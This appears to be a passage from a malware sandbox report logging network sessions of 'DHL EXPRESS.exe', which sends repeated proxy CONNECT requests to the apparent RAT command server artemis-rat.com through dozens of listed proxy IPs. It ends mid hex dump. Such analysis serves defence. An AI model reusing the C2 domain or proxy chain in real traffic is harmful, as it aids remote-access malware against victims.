Mar 11, 2024 18:36:48.031692028 CET	529	IN	HTTP/1.1 501 Not Implemented Access-Control-Allow-Origin: * Content-Type: text/html Content-Length: 357 Date: Mon, 11 Mar 2024 17:26:32 GMT Server: lighttpd/1.4.28 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 2d 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 35 30 31 20 2d 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>501 - Not Implemented</title> </head> <body> <h1>501 - Not Implemented</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.8	51797	193.239.58.92	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.643749952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.8	51993	104.17.50.45	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.644696951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.799189091 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.8	51875	5.161.179.239	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.645287991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.206365108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.122198105 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.8	51847	147.75.34.85	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.646645069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.947966099 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.8	51837	140.82.35.234	44444	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.649068117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:10.217403889 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.8	52124	43.157.47.7	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.658931017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.8	51696	124.160.118.183	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.662121058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.100003004 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx/1.8.1 Date: Tue, 12 Mar 2024 05:57:54 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.8.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.8	52133	43.157.47.7	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.663996935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.8	52136	43.157.47.7	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.666351080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.8	52139	43.157.47.7	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.668054104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.8	52044	104.25.194.175	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.671845913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.826381922 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.8	51808	91.202.230.219	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.676542997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.8	52153	218.145.131.182	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.677210093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.8	51856	58.234.116.197	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.679148912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.8	51876	72.195.34.60	27391	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.679280996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.8	52154	218.145.131.182	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.679450035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.8	51963	194.4.50.62	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.679490089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.8	51824	103.129.172.97	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.681418896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.953110933 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.8	51883	72.210.221.197	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.686463118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.8	51976	146.19.106.42	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.735960960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.8	51979	5.161.103.41	88	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.736061096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.951455116 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:47 GMT Server: Apache/2.4.56 (Debian) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.56 (Debian) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.8	51811	188.132.221.163	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.740211964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.191593885 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.8	51804	103.200.135.229	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.741406918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.8	51980	174.138.94.117	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.742315054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.368690968 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 